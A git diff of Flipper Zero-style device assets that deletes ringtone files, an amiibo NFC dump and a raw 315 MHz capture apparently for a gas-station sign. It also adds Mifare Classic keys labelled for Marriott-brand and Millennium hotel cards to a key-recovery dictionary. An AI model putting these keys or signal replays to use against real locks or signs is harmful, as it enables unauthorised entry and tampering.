b/assets/resources/music_player/SuperMarioBrothers_Death.txt deleted file mode 100644 index 3850cc563..000000000 --- a/assets/resources/music_player/SuperMarioBrothers_Death.txt +++ /dev/null @@ -1 +0,0 @@ -smbdeath:d=4,o=5,b=90:32c6,32c6,32c6,8p,16b,16f6,16p,16f6,16f.6,16e.6,16d6,16c6,16p,16e,16p,16c \ No newline at end of file diff --git a/assets/resources/music_player/SuperMarioBrothers_Theme.txt b/assets/resources/music_player/SuperMarioBrothers_Theme.txt deleted file mode 100644 index c4a96b063..000000000 --- a/assets/resources/music_player/SuperMarioBrothers_Theme.txt +++ /dev/null @@ -1 +0,0 @@ -smb:d=4,o=5,b=100:16e6,16e6,32p,8e6,16c6,8e6,8g6,8p,8g,8p,8c6,16p,8g,16p,8e,16p,8a,8b,16a#,8a,16g.,16e6,16g6,8a6,16f6,8g6,8e6,16c6,16d6,8b,16p,8c6,16p,8g,16p,8e,16p,8a,8b,16a#,8a,16g.,16e6,16g6,8a6,16f6,8g6,8e6,16c6,16d6,8b,8p,16g6,16f#6,16f6,16d#6,16p,16e6,16p,16g#,16a,16c6,16p,16a,16c6,16d6,8p,16g6,16f#6,16f6,16d#6,16p,16e6,16p,16c7,16p,16c7,16c7,p,16g6,16f#6,16f6,16d#6,16p,16e6,16p,16g#,16a,16c6,16p,16a,16c6,16d6,8p,16d#6,8p,16d6,8p,16c6 \ No newline at end of file diff --git a/assets/resources/music_player/TMNT.txt b/assets/resources/music_player/TMNT.txt deleted file mode 100644 index 96cfee66c..000000000 --- a/assets/resources/music_player/TMNT.txt +++ /dev/null @@ -1 +0,0 @@ -TMNT:d=4,o=4,b=146:c,d,c,d,c,8d,3c,d,d#,f,d#,f,d#,8f,3d#,f,g#,b,g#,b,g#,8b,3g#,b,8f,8f,8f,8f,d#,f,p,8f,8f,8f,f,8p,f,8d#,3f,d#,f,d#,f#,f#,8f,8d#,2c,1p,f,8f,d#,8p,f,8d#,f,3d#,f#,f,8f,8d#,2c,1p,8f,8d#,f,d#,8f,8d#,f,2f#,p,d#,8f,d#,3f,d#,8f#,8f#,f#,f,p diff --git a/assets/resources/music_player/Take_On_Me.txt b/assets/resources/music_player/Take_On_Me.txt deleted file mode 100644 index 97513bd81..000000000 --- a/assets/resources/music_player/Take_On_Me.txt +++ /dev/null @@ -1 +0,0 @@ -TakeOnMe:d=4,o=4,b=160:8f#5,8f#5,8f#5,8d5,8p,8b,8p,8e5,8p,8e5,8p,8e5,8g#5,8g#5,8a5,8b5,8a5,8a5,8a5,8e5,8p,8d5,8p,8f#5,8p,8f#5,8p,8f#5,8e5,8e5,8f#5,8e5,8f#5,8f#5,8f#5,8d5,8p,8b,8p,8e5,8p,8e5,8p,8e5,8g#5,8g#5,8a5,8b5,8a5,8a5,8a5,8e5,8p,8d5,8p,8f#5,8p,8f#5,8p,8f#5,8e5,8e5 diff --git a/assets/resources/music_player/pac_man.txt b/assets/resources/music_player/pac_man.txt deleted file mode 100644 index 33548e35e..000000000 --- a/assets/resources/music_player/pac_man.txt +++ /dev/null @@ -1 +0,0 @@ -pac_man : d=4,o=5,b=112:32b,32p,32b6,32p,32f#6,32p,32d#6,32p,32b6,32f#6,16p,16d#6,16p,32c6,32p,32c7,32p,32g6,32p,32e6,32p,32c7,32g6,16p,16e6,16p,32b,32p,32b6,32p,32f#6,32p,32d#6,32p,32b6,32f#6,16p,16d#6,16p,32d#6,32e6,32f6,32p,32f6,32f#6,32g6,32p,32g6,32g#6,32a6,32p,32b.6 \ No newline at end of file diff --git a/assets/resources/nfc/SmashAmiibo/L1NK50_G0DL1NK.nfc b/assets/resources/nfc/SmashAmiibo/L1NK50_G0DL1NK.nfc deleted file mode 100644 index 6183b7223..000000000 --- a/assets/resources/nfc/SmashAmiibo/L1NK50_G0DL1NK.nfc +++ /dev/null @@ -1,153 +0,0 @@ -Filetype: Flipper NFC device -Version: 2 -# Nfc device type can be UID, Mifare Ultralight, Mifare Classic, Bank card -Device type: NTAG215 -# UID, ATQA and SAK are common for all formats -UID: 04 95 48 FF 0F 85 32 -ATQA: 44 00 -SAK: 00 -# Mifare Ultralight specific data -Signature: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 -Mifare version: 00 04 04 02 01 00 11 03 -Counter 0: 0 -Tearing 0: 00 -Counter 1: 0 -Tearing 1: 00 -Counter 2: 0 -Tearing 2: 00 -Pages total: 135 -Page 0: 04 95 48 51 -Page 1: FF 0F 85 32 -Page 2: 47 48 0F E0 -Page 3: F1 10 FF EE -Page 4: A5 00 93 00 -Page 5: 37 A6 71 FB -Page 6: 12 17 27 45 -Page 7: 9B 03 F9 7C -Page 8: DF D5 DF 44 -Page 9: 6C 3D 61 BF -Page 10: 86 31 24 42 -Page 11: 88 BB E5 68 -Page 12: BB E4 DC 94 -Page 13: CB 8A 0E D1 -Page 14: 13 06 1E C1 -Page 15: 2F 9A 13 78 -Page 16: 59 07 AF 75 -Page 17: 87 FF 63 C1 -Page 18: 20 4B 72 68 -Page 19: C5 53 64 AE -Page 20: AB A6 9F 22 -Page 21: 01 00 00 00 -Page 22: 00 04 00 02 -Page 23: 04 12 84 17 -Page 24: BA 10 B4 0E -Page 25: E6 F7 85 10 -Page 26: F8 77 E1 28 -Page 27: 3D C7 CA F2 -Page 28: CE BF 98 9D -Page 29: C7 4F DA D5 -Page 30: 03 00 3D 4F -Page 31: 51 00 BE FF -Page 32: 0B 44 76 D7 -Page 33: 7E 1A 1C DF -Page 34: 9B 03 B8 BC -Page 35: 5B D1 9F 4E -Page 36: 45 74 F0 83 -Page 37: EA 73 B1 19 -Page 38: CB D7 F9 E3 -Page 39: 23 AE 26 84 -Page 40: 51 11 1F 83 -Page 41: 5F 70 83 E2 -Page 42: F3 4D 97 8D -Page 43: AF 1E 67 FC -Page 44: B4 86 8D 54 -Page 45: 5A 1D 8A D4 -Page 46: 83 AE 0D 18 -Page 47: A8 29 1B 0A -Page 48: CE 79 60 55 -Page 49: B0 4E 0D E0 -Page 50: D5 7F D0 7C -Page 51: 9F 67 B4 3A -Page 52: 1E CF F6 E6 -Page 53: D8 75 22 AA -Page 54: 64 FC 05 59 -Page 55: 51 86 F0 0F -Page 56: 07 66 68 04 -Page 57: 90 ED 79 D4 -Page 58: 34 50 48 43 -Page 59: 8B 46 75 F0 -Page 60: 97 B8 2E A7 -Page 61: 24 32 3F 5E -Page 62: 98 78 98 54 -Page 63: AD 16 1C AA -Page 64: C0 D1 3C C1 -Page 65: 70 77 E9 9A -Page 66: AA 06 B4 B1 -Page 67: 1F D9 39 F3 -Page 68: 49 EB 26 81 -Page 69: 0A 77 53 26 -Page 70: 53 E0 CA 9F -Page 71: C1 EB 69 20 -Page 72: 0C 60 8D 33 -Page 73: DB 51 A2 89 -Page 74: A0 64 80 C0 -Page 75: 8A 03 BD D1 -Page 76: 7D 13 6B 63 -Page 77: 28 BD B7 79 -Page 78: 4A FA A8 BB -Page 79: D6 A7 6A 0E -Page 80: C5 97 C5 01 -Page 81: AC 36 F6 CF -Page 82: 1E 0A 5F 4A -Page 83: 6C A6 A1 54 -Page 84: 46 35 86 FB -Page 85: 15 21 59 07 -Page 86: ED C1 09 90 -Page 87: C6 B4 B1 CB -Page 88: 31 2D 39 37 -Page 89: D2 6C 92 D8 -Page 90: C7 60 7E F1 -Page 91: 73 1D 15 79 -Page 92: 98 56 B3 4C -Page 93: CC 01 A5 9D -Page 94: 2E 5A E5 EC -Page 95: CC 69 79 9E -Page 96: 34 5C 06 2C -Page 97: D8 6D F4 0D -Page 98: 40 1F CB 95 -Page 99: 12 54 87 17 -Page 100: 28 F4 45 2D -Page 101: 4F 7E 1E AB -Page 102: DC 2B F5 E4 -Page 103: 91 EB 2D CD -Page 104: 0E FE 2D 45 -Page 105: D8 DD C8 E6 -Page 106: DB BE 92 A2 -Page 107: A1 32 04 F7 -Page 108: B8 B9 75 93 -Page 109: BF DB 17 BE -Page 110: 5D AB 9D 9B -Page 111: 59 EC 0A 12 -Page 112: 2C 9F 76 B6 -Page 113: B5 F3 37 8F -Page 114: 9E DD F5 8E -Page 115: 06 B6 DA D2 -Page 116: 1E 8B 69 C7 -Page 117: FE 98 95 7A -Page 118: 08 81 BA 11 -Page 119: 26 71 70 C4 -Page 120: A6 B7 59 1B -Page 121: 29 AF FB 6F -Page 122: 67 59 9F F1 -Page 123: 42 34 5F AA -Page 124: 81 2A 88 A9 -Page 125: 66 24 C7 3D -Page 126: 82 4F 5F 0E -Page 127: 57 77 7C 03 -Page 128: A9 83 E3 7F -Page 129: EF 83 4B 35 -Page 130: 01 00 0F BD -Page 131: 00 00 00 04 -Page 132: 5F 00 00 00 -Page 133: C0 12 D0 68 -Page 134: 80 80 00 00 \ No newline at end of file diff --git a/assets/resources/nfc/assets/mf_classic_dict.nfc b/assets/resources/nfc/assets/mf_classic_dict.nfc index b6dbcc06c..a6f1ea9d3 100644 --- a/assets/resources/nfc/assets/mf_classic_dict.nfc +++ b/assets/resources/nfc/assets/mf_classic_dict.nfc @@ -3782,9 +3782,14 @@ FE98F38F3EE2 # 20230125-06, Elite Member Marriott Rewards 30AAD6A711EF # 20230125-07, Fairfield Inn & Suites Marriott +7AEB989A5525 7B3B589A5525 +215E9DED9DDF +334E91BE3377 +310308EC52EF # 20230125-08, Moxy Hotels 20C166C00ADB +9EE3896C4530 # 20230125-09, Westin Hotels & Resorts 7D0A1C277C05 2058580A941F @@ -3833,4 +3838,8 @@ C49DAE1C6049 # 20230129-53, Marriott Bonvoy 6E029927600D 3E173F64C01C -C670A9AD6066 \ No newline at end of file +C670A9AD6066 +# 1k UNKNOWN +722538817225 +# 1k millenium hotels +132F641C948B diff --git a/assets/resources/subghz/Gas_Sign/Back_gas.sub b/assets/resources/subghz/Gas_Sign/Back_gas.sub deleted file mode 100644 index cc2d0c23c..000000000 --- a/assets/resources/subghz/Gas_Sign/Back_gas.sub +++ /dev/null @@ -1,47 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 315000000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 97 -667 361 -904066 137 -340 137 -338 121 -360 359 -122 313 -158 305 -162 305 -162 305 -158 93 -402 293 -164 325 -126 337 -128 91 -402 99 -366 93 -380 319 -134 105 -398 103 -334 373 -106 337 -130 353 -126 337 -130 91 -368 131 -362 93 -3708 127 -344 123 -356 139 -334 365 -108 337 -130 353 -94 367 -130 337 -128 93 -368 367 -106 339 -128 355 -94 121 -374 101 -370 125 -354 349 -104 141 -362 105 -338 375 -106 339 -130 353 -94 369 -128 91 -368 131 -332 123 -3718 101 -382 105 -336 125 -382 327 -126 351 -124 339 -128 337 -128 337 -128 125 -348 351 -140 333 -94 377 -96 121 -374 101 -368 125 -352 351 -102 141 -364 105 -336 375 -108 337 -130 355 -92 369 -128 93 -368 129 -334 121 -3710 135 -354 105 -368 93 -382 327 -126 355 -124 337 -128 337 -130 337 -126 127 -348 353 -140 333 -124 347 -96 121 -372 103 -368 123 -352 351 -104 141 -362 105 -336 377 -106 337 -130 355 -94 369 -128 91 -368 131 -334 123 -3710 133 -354 105 -370 93 -380 327 -126 355 -124 337 -128 339 -128 337 -128 125 -346 355 -140 333 -124 347 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 377 -106 339 -128 355 -94 369 -128 91 -368 131 -332 123 -3708 135 -354 105 -370 93 -392 329 -134 331 -122 337 -128 337 -130 337 -128 125 -374 325 -140 337 -126 349 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -370 343 -106 337 -130 357 -92 369 -128 93 -368 131 -332 123 -3712 135 -354 105 -368 93 -382 327 -126 355 -124 359 -106 357 -108 337 -124 143 -342 347 -142 339 -100 359 -94 121 -374 137 -334 125 -354 351 -140 105 -362 105 -338 375 -108 337 -130 355 -94 369 -128 91 -368 131 -332 123 -3706 129 -340 125 -362 141 -336 365 -108 339 -130 351 -94 369 -128 339 -128 93 -368 365 -108 337 -130 355 -94 121 -374 103 -368 125 -354 351 -138 107 -362 105 -370 343 -106 337 -130 357 -92 369 -128 93 -368 129 -334 123 -3706 129 -340 125 -362 141 -334 367 -108 339 -128 353 -94 369 -130 337 -128 93 -368 367 -106 339 -128 355 -94 121 -374 137 -334 125 -354 351 -138 107 -362 105 -336 377 -106 337 -130 357 -92 369 -128 93 -368 129 -334 123 -3718 135 -350 105 -368 93 -384 327 -124 355 -124 359 -104 359 -108 335 -126 141 -342 351 -106 373 -100 359 -94 139 -374 95 -360 125 -360 327 -122 121 -354 139 -336 369 -106 339 -130 355 -94 367 -130 91 -368 131 -332 123 -3708 135 -356 105 -370 93 -382 349 -104 -RAW_Data: 337 -124 375 -94 369 -96 371 -128 93 -368 367 -106 337 -130 353 -94 121 -374 137 -332 125 -354 351 -104 141 -362 105 -370 343 -106 339 -128 357 -92 369 -128 91 -368 131 -334 123 -3736 97 -340 125 -366 139 -336 367 -108 339 -130 353 -94 369 -128 339 -128 93 -368 365 -108 337 -130 353 -124 91 -374 137 -334 125 -356 349 -140 105 -364 103 -370 343 -108 337 -130 355 -94 369 -128 91 -368 131 -364 91 -3718 135 -350 107 -368 93 -382 327 -126 355 -124 337 -128 337 -130 337 -128 125 -348 353 -138 333 -126 347 -94 121 -374 101 -368 125 -354 351 -138 107 -362 105 -336 377 -106 339 -130 353 -124 339 -128 91 -368 131 -364 91 -3714 127 -342 125 -360 139 -334 367 -108 339 -128 353 -94 369 -128 337 -128 93 -368 367 -106 339 -130 355 -94 121 -374 137 -334 125 -354 351 -140 105 -362 105 -370 343 -106 339 -130 355 -94 367 -130 91 -368 131 -332 123 -3716 135 -352 107 -368 93 -382 327 -126 353 -126 337 -128 337 -130 337 -126 127 -348 353 -140 333 -124 347 -94 121 -374 101 -370 125 -352 351 -138 107 -362 105 -370 343 -106 339 -130 355 -94 369 -128 91 -368 131 -334 121 -3716 135 -352 105 -370 91 -382 327 -126 355 -126 359 -104 359 -106 339 -124 141 -342 351 -142 337 -100 361 -94 139 -340 129 -360 125 -360 327 -122 121 -356 137 -336 369 -108 337 -130 357 -92 369 -128 93 -368 129 -334 123 -3714 135 -352 107 -368 93 -382 327 -126 355 -124 359 -106 357 -108 337 -124 143 -340 351 -140 337 -100 361 -124 89 -376 139 -334 125 -356 349 -140 105 -364 105 -368 345 -106 339 -130 355 -94 367 -130 91 -368 131 -332 123 -3736 97 -370 95 -366 141 -336 365 -108 339 -130 353 -92 369 -128 339 -128 93 -368 367 -106 339 -130 355 -94 121 -374 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 357 -92 369 -128 93 -368 129 -334 123 -3716 135 -352 105 -368 93 -382 349 -102 337 -124 375 -94 371 -96 369 -130 93 -368 365 -108 337 -130 353 -94 121 -374 101 -368 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 357 -92 369 -128 93 -368 131 -332 123 -3738 97 -372 93 -366 139 -336 367 -108 339 -128 353 -94 369 -128 337 -130 93 -368 365 -108 337 -130 357 -92 121 -376 101 -370 125 -354 349 -140 105 -364 103 -370 343 -108 337 -130 355 -124 337 -130 91 -368 131 -364 93 -3716 135 -352 107 -368 93 -382 327 -126 355 -124 359 -106 357 -108 337 -124 143 -340 351 -140 -RAW_Data: 341 -100 359 -124 91 -374 139 -332 127 -368 331 -134 103 -394 71 -370 365 -108 337 -128 353 -92 369 -130 91 -368 131 -362 93 -3714 135 -354 105 -368 93 -380 329 -126 355 -126 359 -104 359 -106 337 -126 141 -340 351 -140 339 -102 359 -124 91 -376 137 -334 125 -368 333 -132 103 -396 69 -370 365 -106 337 -130 353 -126 337 -130 91 -368 131 -332 123 -3708 129 -338 125 -364 139 -336 367 -108 339 -128 355 -92 371 -128 337 -130 93 -368 367 -106 337 -130 357 -124 109 -372 97 -360 93 -370 351 -132 105 -394 105 -336 367 -108 337 -130 355 -124 337 -130 91 -368 131 -364 93 -3740 101 -356 107 -370 93 -382 349 -104 337 -124 345 -126 369 -128 339 -128 93 -370 365 -106 337 -130 353 -126 89 -374 103 -368 125 -354 349 -140 105 -362 105 -368 343 -106 337 -130 359 -124 337 -128 93 -368 131 -366 91 -3716 133 -356 105 -370 93 -382 327 -126 355 -124 359 -104 359 -108 335 -126 141 -340 351 -142 339 -100 361 -124 107 -376 95 -362 93 -390 327 -124 141 -342 101 -366 353 -140 333 -126 351 -94 369 -128 93 -368 131 -330 123 -3718 133 -354 105 -368 93 -382 327 -126 353 -124 337 -128 339 -128 339 -126 127 -348 353 -138 333 -126 349 -94 121 -374 101 -368 125 -354 349 -140 105 -362 105 -368 343 -106 339 -130 357 -124 339 -128 91 -368 131 -366 91 -3714 135 -356 105 -370 93 -380 327 -128 355 -124 359 -106 357 -108 337 -124 141 -342 351 -140 339 -100 361 -124 107 -376 97 -360 123 -360 327 -122 143 -342 135 -332 353 -140 333 -128 349 -94 369 -128 93 -366 131 -332 123 -3714 135 -354 105 -370 93 -380 329 -126 355 -124 361 -104 357 -108 337 -124 141 -342 351 -140 339 -100 359 -124 109 -374 97 -362 125 -360 325 -124 121 -354 139 -336 371 -106 337 -130 355 -126 337 -128 91 -370 131 -364 91 -3714 135 -354 105 -370 93 -392 329 -134 331 -124 359 -106 357 -144 303 -124 141 -340 353 -140 341 -100 363 -124 89 -376 137 -334 125 -368 333 -134 103 -358 141 -334 367 -106 337 -130 353 -94 369 -128 91 -368 131 -364 91 -3718 135 -348 91 -382 137 -334 365 -92 345 -134 335 -122 353 -140 359 -108 105 -364 349 -140 325 -144 333 -94 139 -376 101 -334 123 -378 317 -136 139 -346 93 -382 343 -126 339 -128 337 -128 339 -124 123 -346 127 -372 97 -3714 137 -336 125 -368 105 -360 349 -108 361 -108 339 -132 355 -126 359 -104 103 -382 329 -126 351 -124 339 -128 91 -368 131 -366 91 -378 351 -104 -RAW_Data: 141 -362 105 -334 373 -108 337 -130 357 -92 369 -128 93 -368 131 -332 123 -3718 135 -352 105 -370 93 -380 327 -128 355 -124 359 -104 359 -108 337 -124 141 -342 351 -124 357 -104 335 -124 123 -358 139 -334 127 -356 349 -140 105 -362 105 -370 343 -106 339 -132 357 -124 337 -128 91 -368 131 -366 91 -3738 95 -372 93 -370 139 -336 367 -108 337 -130 355 -92 369 -128 339 -128 93 -368 367 -108 337 -130 355 -124 89 -376 137 -334 125 -356 351 -138 107 -362 105 -370 343 -106 339 -130 357 -92 369 -128 91 -368 131 -366 91 -3742 99 -356 107 -368 127 -350 351 -104 339 -124 375 -94 369 -98 369 -128 95 -368 365 -108 337 -128 355 -92 121 -376 137 -334 125 -354 349 -140 105 -364 105 -368 345 -106 339 -130 355 -124 339 -128 91 -368 131 -366 91 -3744 99 -356 107 -368 125 -352 349 -104 369 -94 375 -94 369 -130 337 -128 95 -366 367 -106 337 -130 355 -92 121 -376 137 -334 125 -354 349 -140 105 -364 103 -370 343 -108 339 -130 355 -124 339 -128 91 -368 131 -364 93 -3712 135 -354 107 -368 93 -394 331 -132 331 -124 359 -106 357 -144 333 -94 139 -342 353 -142 341 -100 363 -124 107 -374 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 335 -126 349 -94 367 -130 91 -368 131 -332 123 -3712 135 -354 107 -368 93 -392 331 -134 329 -124 337 -128 337 -130 337 -128 125 -372 327 -140 337 -128 351 -94 121 -374 101 -370 125 -352 351 -138 107 -362 105 -370 343 -106 339 -130 357 -124 337 -128 93 -366 133 -364 91 -3740 95 -372 93 -368 141 -334 369 -108 339 -128 353 -94 369 -128 339 -128 93 -368 367 -108 337 -130 357 -92 121 -376 137 -334 125 -354 349 -140 105 -364 103 -370 345 -106 339 -130 355 -124 339 -128 91 -368 131 -334 123 -3738 95 -372 93 -382 105 -370 345 -108 373 -100 357 -94 369 -128 337 -130 93 -366 369 -106 339 -130 355 -124 91 -374 139 -332 127 -354 353 -138 107 -362 105 -370 343 -106 339 -130 355 -94 369 -128 91 -368 131 -364 93 -3742 99 -356 107 -368 125 -352 351 -104 369 -92 377 -94 369 -130 337 -128 93 -368 367 -106 337 -130 355 -92 121 -376 137 -334 125 -354 351 -138 107 -362 105 -368 345 -106 339 -130 357 -124 337 -128 91 -368 131 -366 91 -3748 99 -356 107 -368 93 -394 329 -134 331 -124 337 -126 339 -128 339 -128 125 -372 327 -140 337 -126 351 -94 121 -374 103 -368 125 -354 349 -140 105 -362 105 -370 343 -108 337 -132 355 -126 337 -128 -RAW_Data: 91 -368 131 -366 91 -3742 99 -356 143 -334 125 -352 351 -104 369 -92 377 -94 369 -128 339 -128 93 -368 365 -108 337 -130 353 -94 121 -374 139 -332 127 -354 349 -140 105 -364 105 -368 345 -106 339 -130 355 -124 339 -128 91 -368 131 -366 91 -3746 101 -356 107 -368 93 -394 329 -134 331 -124 335 -128 339 -128 337 -128 127 -372 325 -142 335 -128 351 -94 121 -374 103 -368 125 -354 351 -138 107 -362 105 -368 345 -106 339 -130 357 -124 337 -128 91 -368 131 -366 91 -3742 99 -356 143 -332 127 -352 351 -104 337 -126 375 -94 369 -98 369 -128 93 -368 367 -106 337 -130 355 -92 121 -376 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 357 -124 337 -128 93 -366 131 -366 91 -3748 99 -358 105 -370 93 -394 327 -134 331 -124 337 -126 339 -128 339 -128 125 -372 327 -140 335 -128 351 -94 121 -374 139 -332 125 -354 351 -140 105 -362 105 -370 343 -106 339 -132 355 -124 337 -130 91 -368 131 -364 93 -3740 101 -356 141 -334 127 -352 351 -104 337 -124 377 -94 369 -96 371 -128 93 -368 365 -108 337 -130 353 -94 121 -374 139 -332 127 -354 351 -138 107 -362 105 -368 345 -106 339 -130 357 -92 369 -128 93 -368 131 -364 91 -3742 99 -356 143 -334 125 -354 349 -104 339 -124 375 -94 369 -98 369 -128 95 -366 367 -106 339 -128 355 -94 121 -374 137 -334 125 -354 351 -140 105 -362 105 -370 343 -106 339 -130 357 -124 337 -128 93 -368 131 -364 91 -3744 99 -356 143 -334 125 -352 349 -140 333 -94 375 -94 369 -130 337 -128 93 -368 367 -106 339 -130 355 -94 121 -374 137 -334 125 -354 351 -140 105 -362 105 -370 343 -106 339 -130 357 -124 337 -128 93 -368 131 -364 91 -3748 101 -356 105 -370 93 -394 329 -134 331 -122 337 -128 339 -128 337 -128 127 -372 325 -142 335 -128 351 -94 121 -374 103 -368 125 -354 349 -140 105 -364 105 -368 345 -106 339 -130 357 -92 369 -128 93 -368 131 -364 91 -3748 101 -356 105 -370 93 -394 329 -134 331 -122 337 -128 337 -130 337 -128 127 -370 327 -142 335 -128 351 -94 121 -374 103 -368 125 -354 349 -140 105 -364 103 -368 347 -106 339 -130 355 -124 339 -128 91 -368 131 -366 91 -3742 101 -356 141 -334 127 -352 351 -102 339 -124 375 -96 369 -96 371 -128 93 -368 365 -108 337 -130 353 -94 121 -374 137 -334 125 -356 351 -140 105 -362 105 -370 343 -108 337 -132 355 -94 367 -130 91 -368 131 -364 93 -3738 97 -370 95 -368 141 -334 -RAW_Data: 367 -108 339 -130 353 -94 369 -128 337 -130 93 -368 367 -108 337 -130 357 -92 121 -376 137 -334 125 -354 351 -140 105 -364 105 -368 345 -106 339 -130 355 -94 369 -128 91 -368 131 -334 123 -3742 99 -356 143 -334 127 -350 351 -104 367 -94 375 -94 369 -130 337 -128 95 -368 365 -106 339 -130 355 -94 121 -374 137 -334 125 -354 351 -140 105 -362 105 -370 343 -106 339 -130 357 -124 337 -128 93 -368 131 -364 91 -3720 135 -354 105 -370 93 -380 349 -104 337 -124 375 -96 369 -128 339 -128 93 -368 365 -108 337 -130 353 -124 91 -376 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 357 -124 337 -128 91 -368 131 -366 91 -3742 95 -372 93 -368 141 -334 369 -106 339 -130 353 -94 369 -128 339 -128 93 -368 367 -106 339 -130 355 -124 91 -374 139 -332 127 -354 353 -138 107 -362 105 -370 343 -106 339 -130 357 -94 367 -130 91 -368 131 -364 91 -3742 99 -394 105 -334 125 -354 349 -140 333 -92 377 -96 369 -128 339 -128 93 -368 365 -108 337 -130 353 -126 89 -374 137 -334 125 -356 351 -138 107 -362 105 -370 343 -106 339 -130 357 -124 339 -128 91 -368 131 -364 93 -3740 95 -372 93 -370 139 -336 367 -108 339 -130 353 -94 369 -128 337 -130 93 -368 367 -108 337 -130 355 -124 91 -374 139 -332 127 -354 351 -138 107 -362 105 -368 345 -106 339 -130 357 -124 337 -128 93 -368 131 -364 91 -3744 95 -372 93 -366 141 -334 369 -108 339 -130 353 -94 367 -130 337 -128 95 -368 367 -106 339 -130 355 -124 91 -374 137 -334 125 -356 351 -104 141 -364 105 -368 345 -106 339 -130 355 -94 369 -128 91 -368 131 -334 123 -3744 99 -356 107 -368 125 -352 351 -138 335 -92 377 -96 369 -96 371 -128 93 -368 367 -106 337 -130 353 -124 91 -374 137 -334 125 -356 351 -138 107 -362 105 -370 343 -106 339 -130 357 -124 337 -128 93 -366 131 -366 91 -3718 135 -354 105 -370 93 -392 331 -134 331 -122 361 -104 359 -142 335 -94 139 -342 353 -140 341 -102 361 -124 109 -374 97 -362 123 -360 327 -122 141 -344 135 -334 351 -140 335 -126 349 -94 369 -128 93 -368 129 -334 123 -3744 101 -356 105 -370 125 -350 351 -104 367 -94 375 -94 371 -128 337 -130 93 -368 365 -106 339 -128 357 -92 121 -376 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 357 -124 339 -128 91 -368 131 -364 93 -3740 101 -392 105 -334 125 -354 351 -138 335 -94 377 -94 369 -130 337 -128 93 -368 -RAW_Data: 367 -106 337 -130 355 -124 89 -376 137 -334 125 -354 353 -138 107 -362 105 -370 343 -106 339 -130 357 -124 337 -128 93 -368 131 -364 91 -3744 101 -356 141 -334 127 -352 349 -104 369 -94 375 -94 369 -128 339 -128 93 -368 365 -108 337 -130 357 -92 121 -376 137 -334 125 -354 351 -140 105 -364 105 -368 345 -106 337 -130 357 -124 337 -128 91 -368 131 -366 91 -3746 101 -356 141 -334 125 -352 351 -104 337 -124 377 -94 369 -128 339 -128 93 -368 365 -108 337 -130 353 -126 89 -374 139 -332 127 -354 353 -138 107 -362 105 -370 343 -106 339 -130 355 -126 337 -128 91 -368 131 -366 91 -3716 135 -354 107 -368 93 -396 329 -132 331 -122 337 -128 369 -96 371 -96 125 -372 327 -142 335 -128 351 -94 121 -376 137 -334 125 -354 349 -140 105 -364 103 -370 343 -108 337 -132 357 -124 337 -128 93 -366 131 -366 91 -3742 101 -392 105 -334 125 -354 351 -138 335 -92 377 -96 369 -128 339 -128 93 -368 365 -108 337 -130 353 -124 91 -376 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 357 -124 337 -130 91 -368 131 -364 93 -3740 97 -370 95 -368 141 -334 369 -106 339 -130 355 -94 367 -130 337 -128 93 -368 367 -106 339 -130 357 -124 89 -376 137 -334 125 -356 351 -140 105 -362 105 -370 343 -106 339 -132 355 -94 369 -128 91 -368 131 -366 91 -3744 97 -370 93 -366 141 -334 369 -106 341 -128 323 -158 337 -128 339 -128 95 -368 365 -106 339 -130 355 -126 89 -374 103 -368 125 -356 351 -140 105 -362 103 -370 343 -106 339 -130 359 -124 337 -128 93 -368 131 -366 91 -3716 135 -354 107 -368 93 -394 327 -134 331 -122 361 -104 359 -108 371 -94 139 -344 355 -142 339 -100 363 -92 139 -342 127 -362 123 -360 325 -122 143 -344 135 -334 351 -140 335 -126 349 -94 369 -128 91 -368 131 -332 123 -3742 99 -356 143 -334 127 -352 351 -104 369 -92 375 -94 369 -128 337 -128 93 -368 367 -108 339 -130 355 -92 121 -376 137 -334 125 -354 351 -138 107 -364 105 -368 347 -106 341 -130 355 -94 367 -128 93 -366 131 -334 121 -3738 97 -370 127 -346 139 -336 351 -106 373 -100 361 -92 369 -128 337 -128 123 -336 371 -108 371 -98 357 -92 121 -376 137 -336 125 -352 351 -138 107 -362 105 -370 345 -108 339 -130 357 -92 367 -130 91 -366 133 -334 121 -3740 95 -372 125 -346 141 -336 351 -106 375 -100 357 -94 367 -128 339 -128 123 -336 371 -106 371 -98 357 -94 119 -376 137 -336 125 -352 -RAW_Data: 351 -140 105 -364 105 -336 379 -106 339 -132 355 -92 369 -128 91 -366 133 -334 123 -3740 99 -392 107 -334 127 -354 349 -104 369 -94 375 -94 369 -96 371 -128 93 -366 369 -108 339 -128 357 -92 121 -374 139 -334 125 -354 349 -140 107 -362 105 -338 377 -106 341 -130 355 -92 369 -130 91 -366 131 -334 123 -3740 99 -392 105 -336 125 -356 349 -104 371 -92 375 -94 369 -128 337 -128 93 -368 369 -106 339 -130 355 -92 121 -376 139 -334 125 -354 349 -140 107 -362 105 -370 345 -108 339 -130 355 -94 369 -128 91 -368 131 -334 121 -3712 135 -356 143 -334 125 -352 349 -104 369 -92 375 -96 369 -128 339 -128 93 -368 365 -108 337 -130 357 -92 121 -376 137 -334 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 357 -124 339 -128 91 -368 131 -366 91 -3716 135 -356 105 -370 93 -392 331 -132 331 -122 361 -104 359 -108 371 -94 139 -344 355 -106 375 -100 361 -94 139 -340 129 -360 125 -358 329 -122 143 -342 137 -332 351 -140 335 -126 349 -92 369 -128 91 -368 131 -334 121 -3718 133 -358 141 -334 93 -382 349 -104 367 -94 373 -96 369 -96 369 -128 95 -366 367 -108 339 -128 355 -94 121 -374 139 -334 125 -354 349 -104 143 -362 105 -370 345 -108 339 -130 357 -92 369 -128 93 -368 129 -334 123 -3744 101 -356 143 -334 125 -352 349 -104 367 -94 373 -94 369 -128 337 -130 93 -366 369 -108 339 -130 353 -94 121 -376 137 -334 125 -354 351 -138 107 -364 105 -368 347 -106 339 